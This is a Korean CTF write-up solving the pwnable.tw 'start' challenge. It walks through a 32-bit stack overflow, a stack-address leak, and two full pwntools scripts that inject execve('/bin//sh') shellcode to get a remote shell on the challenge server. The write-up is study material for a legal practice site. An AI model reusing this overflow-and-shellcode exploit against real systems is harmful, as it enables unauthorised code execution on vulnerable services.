Just a start....라는데 생각보다 어려웠다..ㅠㅠ pwnable.tw는 좀 나중에 해야겠다.... 아직 실력이 매우 부족한 것 같다ㅠㅠ
'Let's start the CTF:' 라는 문구가 나오고 입력을 받는다.
아이다로 열어보자! (32bit다.)
이렇게 나와서 처음에는 당황했다.. _asm을 보아하니까 어셈블리로 푸는 문제라고 생각이 들어서 어셈블리를 확인했다.
어셈블리를 보면 이렇다! 익숙한 코드들이 보인다!! interrupt로 system call을 해서 write와 read를 하는 코드이다.
http://shell-storm.org/shellcode/files/syscalls.html
System Call Table
vm86_regs include/asm/vm86.h: struct vm86_regs { /* normal regs, with special meaning for the segment descriptors.. */ long ebx; long ecx; long edx; long esi; long edi; long ebp; long eax; long __null_ds; long _
shell-storm.org
system call table을 참고해서 분석할 수 있다.
Esp+14의 위치가 exit함수이므로 Write로 인자를 받고 read로 인자를 출력하고 exit를 하는 바이너리라는 것을 알 수 있다. 취약점은 바로 보이는데, 무조건 esp+14의 위치로 리턴을 하기 때문에 read로 그 부분을 덮어서 eip를 조작하면 된다. (위에 보면 write로 20바이트를 받는다.)
아무 보호기법도 걸려있지 않았다!! NX조차 걸려있지 않은 것을 봐서는 쉘코드를 쓰면 될 듯 하다.(바이너리가 너무 작아서 가젯은 많이 있을 것 같지도 않고 NX가 걸려있지 않으면 대부분 쉘코드 문제이다!)
이제 Leak을 해보자.
Jmp esp가 없으니까(바이너리 크기가 워낙 작아서...)
위 그림에서 mov ecx,esp 를 사용해서 leak을 해보자.(write함수 인자 값이 들어가기 직전 코드영역이고 현재 esp+0x14+0x4(pop eip)에 위치한 스택값이 leak된다.)
이걸 사용하자!
#!/usr/bin/python
from pwn import *
context.log_level='debug'
#p = process('./start')
p = remote('call.pwnable.tw', 10000)
payload = ''
payload += "A"*20
payload += p32(0x08048087)
p.recvuntil("Let's start the CTF:")
p.send(payload)
stack_add = u32(p.recv(4))
print(hex(stack_add))
이 스크립트를 돌려주면,
누가봐도 stack주소인 0xffcb130이 leak되는 것을 확인 할 수 있다.
write부분으로 리턴을 했으니까 read를 또 받는다. 리턴된 주소에 입력을 받고 마지막에 ret를 하는데 read를 다시 받을 때 쉘코드를 추가시켜서 쉘코드가 저장된 주소를 esp+0x14에 덮으면 될 것이다!!
그러면 payload는 A*20 + shellcode_addr + shellcode형식으로 하면 된다. shellcode주소는 leak해주었던 주소에서 +20부분이다.
#!/usr/bin/python
from pwn import *
context.log_level='debug'
#p = process('./start')
p = remote('call.pwnable.tw', 10000)
payload = ''
payload += "A"*20
payload += p32(0x08048087)
p.recvuntil("Let's start the CTF:")
p.send(payload)
stack_add = u32(p.recv(4))
print(hex(stack_add))
shell = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80'
payload = ''
payload += "A"*20
payload += p32(stack_add + 20)
payload += shell
p.send(payload)
p.interactive()
이렇게 스크립트를 짜서 돌려주면
성공이다!! flag는 /home/start/flag에 위치한다!